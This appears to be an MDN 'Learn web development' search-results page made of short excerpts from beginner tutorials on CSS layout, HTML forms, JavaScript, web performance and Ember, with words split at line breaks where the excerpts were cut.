...line. it acts as if a <span> was magically wrapped around that first formatted line, and updated each time the line length changed. you can see that this selects the first line of both paragraphs. combining pseudo-classes and pseudo-elements if you wanted to make the first line of the first paragraph bold you could chain the :first-child and ::first-line selectors together. try editing the p
revious live example so it uses the following css. we are saying that we want to select the first line, of the first <p> element, which is inside an <article> element. article p:first-child::first-line { font-size: 120%; font-weight: bold; } generating content with ::before and ::after there are a couple of special pseudo-elements, which are used along with the content property to insert conte...
... a portion of the document containing a grammar error as flagged by the browser. ::marker matches the marker box of a list item, which typically contains a bullet or number. ::selection matches the portion of the document that has been selected. ::spelling-error matches a portion of the document containing a spelling error as flagged by the browser. ...
Sizing items in CSS - Learn web development
understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size via css and define a few terms around sizing that will help you in the future. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to understand the different ways we can size things in css. ...
...a specific size we can of course give elements in our design a specific size. when a size is given to an element (and the content of which then needs to fit into that size) we refer to it as an extrinsic size. take our <div> from the example above — we can give it specific width and height values, and it will now have that size no matter what content is placed into it. as we discovered in our p
revious lesson on overflow, a set height can cause content to overflow if there is more content than the element has space to fit inside it. due to this problem of overflow, fixing the height of elements with lengths or percentages is something we need to do very carefully on the web. using percentages in many ways, percentages act like length units, and as we discussed in the lesson on values a...
...to verify that you've retained this information before you move on — see test your skills: sizing. summary this lesson has given you a rundown of some key issues that you might run into when sizing things on the web. when you move onto css layout, sizing will become very important in mastering the different layout methods, so it is worth understanding the concepts here before moving on. ...
CSS values and units - Learn web development
in this lesson we will take a look at some of the most common values and units in use. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, html basics (study introduction to html), and an idea of how css works (study css first steps.) objective: to learn about the different types of values and units used in css properties. ...
... you can use any of these color values in your projects. it is likely that for most projects you will decide on a color palette and then use those colors — and your chosen method of specifying color — throughout the whole project. you can mix and match color models, however for consistency it is usually best if your entire project uses the same one! images the <image> data type is used whe
rever an image is a valid value. this can be an actual image file pointed to via a url() function, or a gradient. in the example below we have demonstrated an image and a gradient in use as a value for the css background-image property. note: there are some other possible values for <image>, however these are newer and currently have poor browser support. check out the page on mdn for the <imag...
...ny of these in use as you work through these lessons. the key thing to remember is that each property has a defined list of allowed values, and each value has a definition explaining what the sub-values are. you can then look up the specifics here on mdn. ...
Grids - Learn web development
it lets you lay content out in rows and columns, and has many features that make building complex layouts straightforward. this article will give you all you need to know to get started with page layout. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand the fundamental concepts behind grid layout systems, and how to implement a grid layout using css grid. what is grid layout? a grid is a collection of horizontal and vertical lines creating a pattern against which we can line up our design elements. ...
...it is obvious from the css exactly what is happening. a css grid, grid framework grid "frameworks" tend to be based around 12 or 16 column grids and with css grid, you don’t need any third party tool to give you such a framework — it's already there in the spec. download the starting point file. this contains a container with a 12 column grid defined, and the same markup as we used in the p
revious two examples. we can now use line-based placement to place our content on the 12 column grid. header { grid-column: 1 / 13; grid-row: 1; } article { grid-column: 4 / 13; grid-row: 2; } aside { grid-column: 1 / 4; grid-row: 2; } footer { grid-column: 1 / 13; grid-row: 3; } a css grid grid system body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1...
... that you've retained this information before you move on — see test your skills: grids. summary in this overview we have toured the main features of css grid layout. you should be able to start using it in your designs. to dig further into the specification, read our guides to grid layout, which can be found below. ...
Beginner's guide to media queries - Learn web development
media queries are a key part of responsive web design, as they allow you to create different layouts depending on the size of the viewport, but they can also be used to detect other things about the environment your site is running on, for example whether the user is using a touchscreen rather than a mouse. in this lesson you will first learn about the syntax used in media queries, and then move on to use them in a worked example showing how a simple design might be made responsive. ...
...rt is at least 600 pixels wide or the device is in landscape orientation. if either of these things are true the query matches. @media screen and (min-width: 600px), screen and (orientation: landscape) { body { color: blue; } } open this example in the browser, or view the source. "not" logic in media queries you can negate an entire media query by using the not operator. this
reverses the meaning of the entire media query. therefore in this next example the text will only be blue if the orientation is portrait. @media not all and (orientation: landscape) { body { color: blue; } } open this example in the browser, or view the source. how to choose breakpoints in the early days of responsive design, many designers would attempt to target very specific sc...
...s a coarse pointer, using the pointer media feature. you could also experiment with adding different components and seeing whether the addition of a media query, or using a layout method like flexbox or grid is the most appropriate way to make the components responsive. ...
Normal Flow - Learn web development
prerequisites: the basics of html (study introduction to html), and an idea of how css works (study introduction to css.) objective: to explain how browsers layout web pages by default, before we begin to make changes. as detailed in the last lesson introducing layout, elements on a webpage lay out in the normal flow, if you have not applied any css to change the way they behave. and, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or removing them from it altogether. ...
...t is readable, even if the user is using a very limited browser or a device such as a screen reader that reads out the content of the page. in addition, as normal flow is designed to make a readable document, by starting in this way you are working with the document rather than fighting against it as you make changes to the layout. before digging deeper into different layout methods, it is worth
revisiting some of the things you will have studied in p
revious modules with regard to normal document flow. how are elements laid out by default? first of all, individual element boxes are laid out by taking the elements' content, then adding any padding, border and margin around them — it's that box model thing again, which we've looked at earlier. by default, a block level element's content i...
...px; margin: 0 auto; } p { background: rgba(255,84,104,0.3); border: 2px solid rgb(255,84,104); padding: 10px; margin: 10px; } span { background: white; border: 1px solid black; } summary now that you understand normal flow, and how the browser lays things out by default, move on to understand how to change this default display to create the layout needed by your design. p
revious overview: css layout next in this module introduction to css layout normal flow flexbox grid floats positioning multiple-column layout responsive design beginner's guide to media queries legacy layout methods supporting older browsers fundamental layout comprehension assessment ...
Supporting older browsers - Learn web development
however, there will be visitors to your site who use older browsers, or browsers which do not support the methods you have used. this will always be the case on the web — as new features are developed, different browsers will prioritise different things. this article explains how to use modern web techniques without locking out users of older technology. prerequisites: html basics (study introduction to html), and an idea of how css works (study introduction to css and styling boxes.) objective: to understand how to provide support for your layouts on older browsers that might not support the features you want to use. ...
...t support a feature — this is only helpful if the browser does support feature queries. in the future, an approach of checking for lack of support will work, as the browsers that don’t have feature query support go away. for now, however, use the approach of doing the older css, then overwriting it, for the best support. older versions of flexbox in older versions of browsers, you can find p
revious iterations of the flexbox specification. at the time of writing, this is mostly an issue with internet explorer 10, which uses the -ms- prefix for flexbox. this also means that there are some outdated articles and tutorials in existence; this useful guide helps you check what you are looking at and can also help if you need flex support in very old browsers. the ie10 and 11 prefixed version...
...ght come along in the future. ...
How CSS works - Learn web development
in this lesson we will take a look at how a browser takes css and html and turns that into a webpage. prerequisites: basic computer literacy, basic software installed, basic knowledge of working with files, and html basics (study introduction to html.) objective: to understand the basics of how css and html are parsed by the browser, and what happens when a browser encounters css it does not understand. how does css actually work? when a browser displays a document, it must combine the document's content with its style information. it processes the document in a number of stages, which we've listed below. ...
...heets</span> </p> in the dom, the node corresponding to our <p> element is a parent. its children are a text node and the three nodes corresponding to our <span> elements. the span nodes are also parents, with text nodes as their children: p ├─ "let's use:" ├─ span | └─ "cascading" ├─ span | └─ "style" └─ span └─ "sheets" this is how a browser interprets the p
revious html snippet —it renders the above dom tree and then outputs it in the browser like so: p {margin:0;} applying css to the dom let's say we added some css to our document, to style it. again, the html is as follows: <p> let's use: <span>cascading</span> <span>style</span> <span>sheets</span> </p> let's suppose we apply the following css to it: span { border: 1px solid bla...
...h the line using calc() as that line appears later in the cascade. ...
CSS FAQ - Learn web development
only once for a certain selector, and group all rules belonging to that selector. use of a shorthand property using shorthand properties for defining style rules is good because it uses a very compact syntax. using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to their default values. ...
... must be remembered that undeclared attributes are automatically reset to their default values. this means that a p
revious rule for a single attribute could be implicitly overridden. #stockticker { font-size: 12px; font-family: verdana; font-weight: bold; } .stocksymbol { font: 14px arial; color: red; } <div id="stockticker"> nys: <span class="stocksymbol">ge</span> +1.0 ... </div> in the p
revious example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important. #stockticker { font-weight: bold; font: 12px verdana; /* font-weight is now set to normal */ } use of the * selector the * wildcard selector refers to any element, and it has to be used with particular care. body * { font-weight: no...
...arts. more detailed information about how selector specificity is calculated can be found in the css 2.1 specification chapter 6.4.3. what do the -moz-*, -ms-*, -webkit-*, -o-* and -khtml-* properties do? these properties, called prefixed properties, are extensions to the css standard. they allow use of experimental and non-standard features in browsers without polluting the regular namespace, p
reventing future incompatibilities to arise when the standard is extended. the use of such properties on production websites is not recommended — they have already created a huge web compatibility mess. for example, many developers only using the -webkit- prefixed version of a property when the non-prefixed version is supported across all browsers meant that a feature relying on that property woul...
Example 5 - Learn web development
ect, show) { var optlist = select.queryselector('.optlist'); optlist.classlist.toggle('hidden'); } function highlightoption(select, option) { var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.classlist.remove('highlight'); }); option.classlist.add('highlight'); }; function updatevalue(select, index) { var nativewidget = select.p
reviouselementsibling; var value = select.queryselector('.value'); var optionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.setattribute('aria-selected', 'false'); }); optionlist[index].setattribute('aria-selected', 'true'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionli...
...ptionlist = select.queryselectorall('.option'); optionlist.foreach(function (other) { other.setattribute('aria-selected', 'false'); }); optionlist[index].setattribute('aria-selected', 'true'); nativewidget.selectedindex = index; value.innerhtml = optionlist[index].innerhtml; highlightoption(select, optionlist[index]); }; function getindex(select) { var nativewidget = select.p
reviouselementsibling; return nativewidget.selectedindex; }; // ------------- // // event binding // // ------------- // window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); sele...
...ar form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); window.addeventlistener('load', function () { var selectlist = document.queryselectorall('.select'); selectlist.foreach(function (select) { var optionlist = select.queryselectorall('.option'), selectedindex = getindex(select); select.tabindex = 0; select.p
reviouselementsibling.tabindex = -1; updatevalue(select, selectedindex); optionlist.foreach(function (option, index) { option.addeventlistener('mouseover', function () { highlightoption(select, option); }); option.addeventlistener('click', function (event) { updatevalue(select, index); }); }); select.addeventlistener('click', function (event...
Sending form data - Learn web development
prerequisites: basic computer literacy, an understanding of html, and basic knowledge of http and server-side programming. objective: to understand what happens when form data is submitted, including getting a basic idea of how data is processed on the server first we'll discuss what happens to the data when a form is submitted. ...
...select the file(s) that will be uploaded. for example: <form method="post" action="https://www.foo.com" enctype="multipart/form-data"> <div> <label for="file">choose a file</label> <input type="file" id="file" name="myfile"> </div> <div> <button>send the file</button> </div> </form> note: servers can be configured with a size limit for files and http requests in order to p
revent abuse. security issues each time you send data to a server, you need to consider security. html forms are by far the most common server attack vectors (places where attacks can occur). the problems never come from the html forms themselves — they come from how the server handles data. the website security article of our server-side learning topic discusses a number of common attacks and ...
...e (such as javascript or sql commands). limit the incoming amount of data to allow only what's necessary. sandbox uploaded files. store them on a different server and allow access to the file only through a different subdomain or even better through a completely different domain. you should avoid many/most problems if you follow these three rules, but it's always a good idea to get a security
review performed by a competent third party. don't assume that you've seen all the possible problems. summary as we'd alluded to above, sending form data is easy, but securing an application can be tricky. just remember that a front-end developer is not the one who should define the security model of the data.it's possible to perform client-side form validation, but the server can't trust this vali...
Sending forms through JavaScript - Learn web development
s article explores such approaches. a form is not always a form with progressive web apps, single page apps, and framework based apps, it's common to use html forms to send data without loading a new document when response data is received. let's first talk about why this requires a different approach. gaining control of the global interface standard html form submission, as described in the p
revious article, loads the url where the data was sent, which means the browser window navigates with a full page load. avoiding a full page load can provide a smoother experience by avoiding network lag, and possible visual issues like flickering. many modern uis only use html forms to collect input from the user, and not for data submission. when the user tries to send the data, the application ta...
...ops! something went wrong.' ); } ); // set up our request xhr.open( "post", "https://example.com/cors.php" ); // the data sent is what the user provided in the form xhr.send( fd ); } // access the form element... const form = document.getelementbyid( "myform" ); // ...and take over its submit event. form.addeventlistener( "submit", function ( event ) { event.p
reventdefault(); senddata(); } ); } ); here's the live result: you can even get more involved with the process by using the form's elements property to get a list of all of the data elements in the form and manually manage them one at a time. to learn more about that, see the example in accessing the element list's contents in htmlformelement.elements. dealing with binary data if you use...
...required http header to handle a multipart form data post request xhr.setrequestheader( 'content-type','multipart/form-data; boundary=' + boundary ); // and finally, send our data. xhr.send( data ); } // access our form... const form = document.getelementbyid( "theform" ); // ...to take over the submit event form.addeventlistener( 'submit', function ( event ) { event.p
reventdefault(); senddata(); } ); } ); here's the live result: conclusion depending on the browser and the type of data you are dealing with, sending form data through javascript can be easy or difficult. the formdata object is generally the answer, and you can use a polyfill for it on legacy browsers. ...
CSS basics - Learn web development
css basics walks through what you need to get started. we'll answer questions like: how do i make text red? how do i make content display at a certain location in the (webpage) layout? how do i decorate my webpage with background images and colors? what is css? like html, css is not a programming language. it's not a markup language either. css is a style sheet language. css is what you use to selectively style html elements. for example, this css selects paragraph text, setting the color to red: p { color: red; } let's try it out! using a text editor, paste the three lines of css (above) into a new file. ...
...over selects <a>, but only when the mouse pointer is hovering over the link. there are many more selectors to discover. to learn more, see the mdn selectors guide. fonts and text now that we've explored some css fundamentals, let's improve the appearance of the example by adding more rules and information to the style.css file. first, find the output from google fonts that you p
reviously saved from what will your website look like?. add the <link> element somewhere inside your index.html's head (anywhere between the <head> and </head> tags). it looks something like this: <link href="https://fonts.googleapis.com/css?family=open+sans" rel="stylesheet"> this code links your page to a style sheet that loads the open sans font family with your webpage. next, delete the exi...
...'s display reference page. ...
Define terms with HTML - Learn web development
rking the first occurrence of keywords. note that <dfn> tags go around the word to be defined, not the definition (the definition consists of the entire paragraph): <p><dfn>firefox</dfn> is the web browser created by the mozilla foundation.</p> another use for bold is to emphasize content. bold itself is a concept foreign to html, but there are tags for indicating emphasis. special case: abb
reviations it's best to mark abb
reviations specially with <abbr>, so that screen readers read them appropriately and so that you can operate on all abb
reviations uniformly. just as with any new keyword, you should define your abb
reviations the first time they occur. <p> <dfn><abbr>html</abbr> (hypertext markup language)</dfn> is a description language used to structure documents on the web. </...
...the spec duly acknowledges this as well. ...
...the spec duly acknowledges this as well. improve accessibility <dfn> marks the keyword defined, and indicates that the current paragraph defines the keyword. ...
Marking up a letter - Learn web development
in this assignment, you'll have a letter to mark up as a test for your html text formatting skills, as well as hyperlinks and proper use of the html <head> element. prerequisites: before attempting this assessment you should have already worked through getting started with html, what's in the head? metadata in html, html text fundamentals, creating hyperlinks, and advanced text formatting. objective: test basic and advanced html text formatting, use of hyperlinks, and use of html <head>. starting point to begin, get the raw text you need to mark up, and the the css to style the html. ...
...) should be marked up with strong importance. the four dates in the document should be have appropriate elements containing machine-readable dates. the first address and first date in the letter should have a class attribute value of sender-column. the css you'll add later will cause these to be right aligned, as it should be in the case in a classic letter layout. mark up the five acronyms/abb
reviations in the main text of the letter to provide expansions of each acronym/abb
reviation. the six sub/superscripts should be marked up appropriately — in the chemical formulae, and the numbers 103 and 104 (they should be 10 to the power of 3 and 4, respectively). try to mark up at least two appropriate words in the text with strong importance/emphasis. there are two places where the letter ...
...d help, or if you want an assessment). a link to the example you want evaluated or need help with, in an online shareable editor (as mentioned in step 1 above). this is a good habit to develop. it's very hard to help someone with a coding problem without seeing their code. ...
Images in HTML - Learn web development
rp teeth"\n width="200"\n height="171"\n title="a t-rex on display in the manchester university museum">'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caret...
...t: expresses your meaning in a compact, easy-to-grasp way. could go in several places in the page's linear flow. provides essential information supporting the main text. a figure could be several images, a code snippet, audio, video, equations, a table, or something else. active learning: creating a figure in this active learning section, we'd like you to take the finished code from the p
revious active learning section, and turn it into a figure: wrap it in a <figure> element. copy the text out of the title attribute, remove the title attribute, and put the text inside a <figcaption> element below the image. if you make a mistake, you can always reset it using the reset button. if you get really stuck, press the show solution button to see an answer: playable code 2 <h2>live...
...ight="171">\n <figcaption>a t-rex on display in the manchester university museum</figcaption>\n</figure>'; var solutionentry = htmlsolution; textarea.addeventlistener('input', updatecode); window.addeventlistener('load', updatecode); // stop tab key tabbing out of textarea and // make it write a tab at the caret position instead textarea.onkeydown = function(e){ if (e.keycode === 9) { e.p
reventdefault(); insertatcaret('\t'); } if (e.keycode === 27) { textarea.blur(); } }; function insertatcaret(text) { var scrollpos = textarea.scrolltop; var caretpos = textarea.selectionstart; var front = (textarea.value).substring(0, caretpos); var back = (textarea.value).substring(textarea.selectionend, textarea.value.length); textarea.value = front + text + back; caret...
Responsive images - Learn web development
this helps to improve performance across different devices. responsive images are just one part of responsive design, a future css topic for you to learn. prerequisites: you should already know the basics of html and how to add static images to a web page. objective: learn how to use features like srcset and the <picture> element to implement responsive image solutions on websites. why responsive images? let's examine a typical scenario. ...
...the website. to make things more complicated, some devices have high resolution screens that need larger images than you might expect to display nicely. this is essentially the same problem, but in a slightly different context. you might think that vector images would solve these problems, and they do to a certain degree — they are small in file size and scale well, and you should use them whe
rever possible. however, they aren't suitable for all image types. vector images are great for simple graphics, patterns, interface elements, etc., but it starts to get very complex to create a vector-based image with the kind of detail that you'd find in say, a photo. raster image formats such as jpegs are more suited to the kind of images we see in the above example. this kind of problem didn't ex...
...you format them as shown above, with a different part of the attribute value on each line. each value contains a comma-separated list, and each part of those lists is made up of three sub-parts. let's run through the contents of each now: srcset defines the set of images we will allow the browser to choose between, and what size each image is. each set of image information is separated from the p
revious one by a comma. for each one, we write: an image filename (elva-fairy-480w.jpg) a space the image's intrinsic width in pixels (480w) — note that this uses the w unit, not px as you might expect. this is the image's real size, which can be found by inspecting the image file on your computer (for example, on a mac you can select the image in finder and press cmd + i to bring up the info ...
Choosing the right approach - Learn web development
we'll probably add to this resource as time goes on. prerequisites: basic computer literacy, a reasonable understanding of javascript fundamentals. objective: to be able to make a sound choice of when to use different asynchronous programming techniques. ...
... it is better to use the chaining power of promises to go with a flatter, easier to parse structure: remotedb.alldocs(...).then(function (resultofalldocs) { return localdb.put(...); }).then(function (resultofput) { return localdb.get(...); }).then(function (resultofget) { return localdb.put(...); }).catch(function (err) { console.log(err); }); or ...
... full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. ...
Build your own function - Learn web development
here you will get some practice building your own, custom function. along the way, we'll also explain some useful details of dealing with functions. prerequisites: basic computer literacy, a basic understanding of html and css, javascript first steps, functions — reusable blocks of code. objective: to provide some practice in building a custom function, and explain a few more useful associated details. active learning: let's build a function the custom function we are going to build will be called displaymessage(). ...
...ctions. in a real application, such a message box would probably be called in response to new data being available, or an error having occurred, or the user trying to delete their profile ("are you sure about this?"), or the user adding a new contact and the operation completing successfully, etc. in this demo, we'll get the message box to appear when the user clicks the button. delete the p
revious line you added. next, we'll select the button and store a reference to it in a constant. add the following line to your code, above the function definition: const btn = document.queryselector('button'); finally, add the following line below the p
revious one: btn.onclick = displaymessage; in a similar way to our closebtn.onclick... line inside the function, here we are calling some c...
...t article, so you might want to read those first before trying it. ...
Manipulating documents - Learn web development
this is usually done by using the document object model (dom), a set of apis for controlling html and styling information that makes heavy use of the document object. in this article we'll look at how to use the dom in detail, along with some other interesting apis that can alter your environment in interesting ways. prerequisites: basic computer literacy, a basic understanding of html, css, and javascript — including javascript objects. ...
... we can start to manipulate it using properties and methods available to it (these are defined on interfaces like htmlanchorelement in the case of <a> element, its more general parent interface htmlelement, and node — which represents all nodes in a dom). first of all, let's change the text inside the link by updating the value of the node.textcontent property. add the following line below the p
revious one: link.textcontent = 'mozilla developer network'; we should also change the url the link is pointing to, so that it doesn't go to the wrong place when it is clicked on. add the following line, again at the bottom: link.href = 'https://developer.mozilla.org'; note that, as with many things in javascript, there are many ways to select an element and store a reference to it in a v...
...njoyed the ride.</p> note: notice how the javascript property versions of the css styles are written in lower camel case whereas the css versions are hyphenated (e.g. backgroundcolor versus background-color). make sure you don't get these mixed up, otherwise it won't work. there is another common way to dynamically manipulate styles on your document, which we'll look at now. delete the p
revious five lines you added to the javascript. add the following inside your html <head>: <style> .highlight { color: white; background-color: black; padding: 10px; width: 250px; text-align: center; } </style> now we'll turn to a very useful method for general html manipulation — element.setattribute() — this takes two arguments, the attribute you want to set on the element, and ...
Working with JSON - Learn web development
it is commonly used for transmitting data in web applications (e.g., sending some data from the server to the client, so it can be displayed on a web page, or vice versa). you'll come across it quite often, so in this article we give you all you need to work with json using javascript, including parsing json so you can access data within it, and creating json. prerequisites: basic computer literacy, a basic understanding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects). ...
...setype to json, so that xhr knows that the server will be returning json, and that this should be converted behind the scenes into a javascript object. then we send the request with the send() method: request.responsetype = 'json'; request.send(); the last bit of this section involves waiting for the response to return from the server, then dealing with it. ...
...esponse has successfully returned; doing it this way guarantees that request.response will definitely be available when we come to try to do something with it. populating the header now that we've retrieved the json data and converted it into a javascript object, let's make use of it by writing the two functions we referenced above. ...
Introducing JavaScript objects - Learn web development
first steps and javascript building blocks. note: if you are working on a computer/tablet/other devices where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as jsbin or glitch. guides object basics in the first article looking at javascript objects, we'll look at fundamental javascript object syntax, and
revisit some javascript features we've already looked at earlier on in the course, reiterating the fact that many of the features you've already dealt with are in fact objects. object-oriented javascript for beginners with the basics out of the way, we'll now focus on object-oriented javascript (oojs) — this article presents a basic view of object-oriented programming (oop) theory, then explores ...
...commonly used for representing and transmitting data on web sites (i.e. sending some data from the server to the client, so it can be displayed on a web page). you'll come across it quite often, so in this article, we give you all you need to work with json using javascript, including parsing the json so you can access data items within it and writing your own json. object building practice in p
revious articles we looked at all the essential javascript object theory and syntax details, giving you a solid base to start from. in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, which produce something fun and colorful — some colored bouncing balls. assessments adding features to our bouncing balls demo in this assessme...
... theory and syntax details, giving you a solid base to start from. in this article we dive into a practical exercise, giving you some more practice in building custom javascript objects, which produce something fun and colorful — some colored bouncing balls. assessments adding features to our bouncing balls demo in this assessment, you are expected to use the bouncing balls demo from the p
revious article as a starting point, and add some new and interesting features to it. ...
CSS performance optimization - Learn web development
for this reason, css is render blocking, unless the browser knows the css is not currently needed. the browser can paint the page once it has downloaded the css and built the css object model. browsers follow a specific rendering path: paint only occurs after layout, which occurs after the render tree is created, which in turn requires both the dom and the cssom trees. to optimize the cssom construction, remove unnecessary styles, minify, compress and cache it, and split css not required at page load into additional files to reduce css render blocking. ...
...s can scope styles to particular conditions with media queries. media queries are important for a responsive web design and help us optimize a critical rendering path. the browser blocks rendering until it parses all of these styles but will not block rendering on styles it knows it will not use, such the print stylesheets. by splitting the css into multiple files based on media queries, you can p
revent render blocking during download of unused css. to create a non-blocking css link, move the not-immediately used styles, such as print styles, into separate file, add a <link> to the html mark up, and add a media query, in this case stating it's a print stylesheet. <link rel="stylesheet" href="styles.css"> <!-- blocking --> <link rel="stylesheet" href="print.css" media="print"> <!-- not blocki...
... font-style: normal; font-display: fallback; } the contain property the contain css property allows an author to indicate that an element and its contents are, as much as possible, independent of the rest of the document tree. this allows the browser to recalculate layout, style, paint, size, or any combination of them for a limited area of the dom and not the entire page. conclusion p
revious overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascript performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance see also css animation ...
Measuring performance - Learn web development
for example, you can use performance metrics to determine how your app performs in comparison to a competitor or you can compare your app's performance across releases. the metrics you choose to measure should be relevant to your users, site, and business goals. they should be collected and measured in a consistent manner and analyzed in a format that can be consumed and understood by non-technical stakeholders. this article introduces web perfomrance metrics that you can use to measure and optimize your site's performance. ...
...can collect through various web performance apis and tools that you can use to visualize that data. performance apis when writing code for the web, there are a large number of web apis available that allow you to create your own performance measuring tools. you can use the navigation timing api to measure client-side web performance; including the amount of time needed to unload the p
revious page, how long domain lookups take, the total time spent executing the window's load handler, and more. you can use the api for metrics related to all of the navigation events displayed in the didagram below. the performance api, which provides access to performance-related information for the current page, includes the performance timeline api, the navigation timing api, the user timing a...
...this indicates the features that might be slowing down your web app or site. conclusion this article provided a brief overview of the web performance metrics to help introduce you to what you can measure on a web app or site. next up, you'll look at perceived performance and some techniques to make unavoidable performance hits appear less severe to the user, or disguise them completely. p
revious overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascript performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
Perceived performance - Learn web development
how a user perceives your performance is as important, or perhaps more important, than any objective statistic, but it's subjective, and not as readily measurable. perceived performance is user perspective, not a metric. this article provides a brief introduction to perceived performance, looking at user perceptions, and what objective tools can be used to measure that which is subjective. prerequisites: basic computer literacy, basic software installed, and basic knowledge of client-side web technologies. objective: to gain basic familiarity of user perception of web performance. performance is about user perception. ...
...tional assets and resources after initial page load improves perceived performance. loading essential data in initial requests and progressively loading features and data only as needed helps mitigate low bandwidth and lower spec hardware. additionally, you should optimize the assets you do load. images and video should be served in the most optimal format, compressed, and in the correct size. p
revent jumping content and other reflows images or other assets causing content to be pushed down or jump to a different location, like the loading of third party advertisements, can make the page feel like it is still loading and is bad for perceived performance. content reflowing is especially bad for user experience when not initiated by user interaction. if some assets are going to be slower to ...
... content. conclusion by turning as much of the download, render and wait time into active phases and reducing any passive waiting, even if the objective measurements stay the same, the user will feel like the content downloaded, rendered, and responded more quickly. now that we know what we should be speeding up, let's take a look at some metrics and learn how we can measure these events. p
revious overview: performance next in this module the "why" of web performance what is web performance? how do users perceive performance? measuring performance multimedia: images multimedia: video javascript performance best practices. html performance features css performance features fonts and performance mobile performance focusing on performance ...
Ember resources and troubleshooting - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to provide further resource links and troubleshooting information. ...
... from '@ember/routing/route'; export default class myroute extends route { async model() { let response = await fetch('some/url/to/json/data'); let json = await response.json(); return { data: json }; } } see more information on specifying the route's model here. why can't i just use javascript? this is the most common question ember folks hear from people who have p
revious experience with react. while it is technically possible to use jsx, or any other form of dom creation, there has yet to be anything as robust as ember's templating system. the intentional minimalism forces certain decisions, and allows for more consistent code, while keeping the template more structural rather than having them filled with bespoke logic. see also: reactiveconf 2017: secre...
... resulting from configuring the model: loading — what to do when the model hook is loading. error — what to do when an error is thrown from model. both loading and error can render default templates as well as customized templates defined elsewhere in the application, unifying loading/error states. more information on everything a route can do is found in the api documentation. ...
Routing in Ember - Learn web development
we'll use it to provide a unique url for each of the three todo views — "all", "active", and "completed". prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn about implementing routing in ember. ...
...>active</linkto> <linkto @route='completed'>completed</linkto> <linkto> is a built-in ember component that handles all the state changes when navigating routes, as well as setting an "active" class on any link that matches the url, in case there is a desire to style it differently from inactive links. ...
...domvc app, such as editing, deleting, and persisting todos across page reloads. to see our finished ember implementation, checkout the finished app folder in the repository for the code of this tutorial or see the live deployed version here. study the code to learn more about ember, and also check out the next article, which provides links to more resources and some troubleshooting advice. ...
Ember app structure and componentization - Learn web development
prerequisites: at minimum, it is recommended that you are familiar with the core html, css, and javascript languages, and have knowledge of the terminal/command line. a deeper understanding of modern javascript features (such as classes, modules, etc), will be extremely beneficial, as ember makes heavy use of them. objective: to learn how to structure an ember app, and then break that structure into components. ...
...landing page html of our application is defined in app/templates/application.hbs. this already exists, and its contents currently look like so: {{!-- the following component displays ember's default welcome message. --}} <welcomepage /> {{!-- feel free to remove this! --}} {{outlet}} <welcomepage /> is a component provided by an ember addon that renders the default welcome page we saw in the p
revious article, when we first navigated to our server at localhost:4200. however, we don't want this. instead, we want it to contain the todomvc app structure. to start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be d...
...both say "buy movie tickets" — this is because the same component is being invoked twice, and the todo text is hardcoded into it. we'll look at showing different todo items in the next article! summary great! everything looks as it should. we have successfully refactored our html into components! in the next article we'll start looking into adding interactivity to our ember application. ...
Handling common HTML and CSS problems - Learn web development
this includes linting code, handling css prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross browser testing. objective: to be able to diagnose common html and css cross browser problems, and use appropriate tools and techniques to fix them. ...
...for example, creating a cross-browser video player. caniuse.com provides support information, along with a few useful external resource links. for example, see http://caniuse.com/#search=video (you just have to enter the feature you are searching for into the text box). stackoverflow.com (so) is a forum site where you can ask questions and have fellow developers share their solutions, look up p
revious posts, and help other developers. you are advised to look and see if there is an answer to your question already, before posting a new question. for example, we searched for "cross browser html5 video" on so, and very quickly came up with html5 video with full cross browser compatibility. aside from that, try searching your favorite search engine for an answer to your problem. it is often us...
... that, try searching your favorite search engine for an answer to your problem. it is often useful to search for specific error messages if you have them — other developers will be likely to have had the same problems as you. summary now you should be familiar with the main types of cross browser html and css problems that you'll meet in web development, and how to go about fixing them. ...
Strategies for carrying out testing - Learn web development
